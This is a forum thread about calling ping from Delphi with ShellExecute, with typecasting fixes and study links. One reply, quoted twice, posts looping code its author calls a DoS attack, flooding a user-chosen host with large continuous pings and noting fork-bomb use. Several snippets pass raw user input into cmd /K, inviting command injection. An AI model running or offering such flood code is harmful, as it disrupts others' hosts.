Delphi?

Packet-Kollector

Well-Known Member
Joined
Jun 3, 2011
Messages
415
Reaction score
163
Hi guys, I need a gods help :P

ShellExecute(Handle, nil, 'cmd.exe', '/K Ping' + Edit1.Text, nil, SW_SHOWNORMAL);

This command is kinda what i want Delphi 7 to do for me.. i want it to get an ip from that Edit box and make cmd run and do a ping for that address.... Any ideas? I get an error about incompatible string types.. i just need to add that info at the end from the box
Note it doesn't have to be with ShellExecute
 
you have to typecast the string
so as far as I can tell it should be something like PChar('cmd.exe')
and PChar('/K Ping' + Edit1.Text)
 
So that it looks like what ave?
ShellExecute(Handle, nil, PChar('/K Ping' + Edit1.Text), nil, SW_SHOWNORMAL);
ShellExecute(PChar('/K Ping' + Edit1.Text), SW_SHOWNORMAL);
Both give errors
 
ShellExecute(Handle, nil, PChar('cmd.exe'), PChar('/K Ping' + Edit1.Text), nil, SW_SHOWNORMAL);

I dont have Delphi installed on this pc, so I cant test it unfortunately
 
I use a function like this:
function TfmMain.ExecuteFile(const FileName, Params, DefaultDir: string;
ShowCmd: Integer): THandle;
var
zFileName, zParams, zDir: array[0..79] of Char;
begin
Result := ShellExecute(Application.MainForm.Handle, nil,
StrPCopy(zFileName, FileName), StrPCopy(zParams, Params),
StrPCopy(zDir, DefaultDir), ShowCmd);
end;

and call it like this:
ExecuteFile('cmd','/k net user /domain '+trim(cells[col,row]),'',SW_SHOWNORMAL);

What that does is a lookup of a username... notice I just use 'cmd' and not 'cmd.exe'
 
Note it doesn't have to be with ShellExecute
It is a decidedly lacking in elegance tbh. Also kinda blows because you can't grab the result with code easily.

Delphi has a ping component built in - why not use that. A quick google should yield a dozen sample code pieces.

I vaguely remember that ShellExecute is outdated to. I think its been replaced by createprocess or something...its been a couple of years since I touched Delphi...
 
yah, just use the built in Indy Ping component
 
CreateProcess is probably the better way to go to launch an app, but if you want to use ShellExecute this should work:
Code:
ShellExecute( Handle, 'OPEN', 'PING.EXE', PChar( txtIPAddress.Text + ' /t' ), nil, SW_SHOWNORMAL );
 
Hi guys, I need a gods help :P



This command is kinda what i want Delphi 7 to do for me.. i want it to get an ip from that Edit box and make cmd run and do a ping for that address.... Any ideas? I get an error about incompatible string types.. i just need to add that info at the end from the box
Note it doesn't have to be with ShellExecute

I got this 'working' with the exception that cmd.exe defaults to google.com instead of whatever web/IP address i enter, im trying to fix it though.

According to the delphi forums shellexecute is the most controllable operator for this kind of use .
Please note : This Code was intended as a DOS attack and the parameters of the "ping" command are for a huge amount of pings really quickly. The use of the 'for' loop is to open CMD a set amount of times and can also be used as a fork bomb but you can figure that out easily.

Code:
procedure TForm1.Button1Click(Sender: TObject);
Var 
K : Integer;
sInput ,sCommand,sTarget : string;
begin
sTarget := InputBox('Ping Target' , 'Enter a valid web adress','');
sCommand := '/K ping ' + sTarget  + ' -t -w 10 -l 64000';
Repeat
For  K := 0 to 3 do
ShellExecute(Handle, nil, 'cmd.exe',PChar(sCommand), nil, SW_MINIMIZE);
sInput := Inputbox('Enter "*" to stop the program','Enter "*" to stop the program','');
until sInput = '*';

Yeah i know this post is 3 years old but it may help someone else out.
 
Last edited:
I got this 'working' with the exception that cmd.exe defaults to google.com instead of whatever web/IP address i enter, im trying to fix it though.

According to the delphi forums shellexecute is the most controllable operator for this kind of use .
Please note : This Code was intended as a DOS attack and the parameters of the "ping" command are for a huge amount of pings really quickly. The use of the 'for' loop is to open CMD a set amount of times and can also be used as a fork bomb but you can figure that out easily.

Code:
procedure TForm1.Button1Click(Sender: TObject);
Var 
K : Integer;
sInput ,sCommand,sTarget : string;
begin
sTarget := InputBox('Ping Target' , 'Enter a valid web adress','');
sCommand := '/K ping ' + sTarget  + ' -t -w 10 -l 64000';
Repeat
For  K := 0 to 3 do
ShellExecute(Handle, nil, 'cmd.exe',PChar(sCommand), nil, SW_MINIMIZE);
sInput := Inputbox('Enter "*" to stop the program','Enter "*" to stop the program','');
until sInput = '*';

Yeah i know this post is 3 years old but it may help someone else out.

Haha, on the note of resurrecting an old thread. Does anyone have any useful sites or links with tuts to do etc etc. Busy studying this at the moment, and finding online videos is near on impossible :(
 
Haha, on the note of resurrecting an old thread. Does anyone have any useful sites or links with tuts to do etc etc. Busy studying this at the moment, and finding online videos is near on impossible :(
Maybe try and see if you can get a copy of Delphi 5.

After 5 they changed it so that you can't look at the source for many of the system functions. Personally I found it much more difficult to figure out what parameters functions want from me with 6+. So you could right-click on it and jump to the source for that call (usually end up being a wrapper for a MS API call).

Technically the Help is supposed to tell you the same info but I found the code less confusing than the help.
 
Maybe try and see if you can get a copy of Delphi 5.

After 5 they changed it so that you can't look at the source for many of the system functions. Personally I found it much more difficult to figure out what parameters functions want from me with 6+. So you could right-click on it and jump to the source for that call (usually end up being a wrapper for a MS API call).

Technically the Help is supposed to tell you the same info but I found the code less confusing than the help.

I've got a copy of Delphi XE7, software isn't the issue. Just trying to find some reading material or study material on it. Any videos or coursework would be great, thanks.
 
After 5 they changed it so that you can't look at the source for many of the system functions.

The source is included in all Professional or above versions up to XE7 (I can confirm up to XE2).


I've got a copy of Delphi XE7, software isn't the issue. Just trying to find some reading material or study material on it. Any videos or coursework would be great, thanks.

Try the CodeRage videos - they might help.
http://learndelphi.tv/
https://leanpub.com/codingindelphi - is apparently quite good.
http://delphi.wikia.com/wiki/Books
In fact http://delphi.wikia.com/wiki/Delphi_Wiki in general should probably help.
 
The source is included in all Professional or above versions up to XE7 (I can confirm up to XE2).

And yet somehow on 6 enterprise the right click option I had used for years on 5 was greyed out for functions I knew previously worked.
 
Top
Sign up to the MyBroadband newsletter
X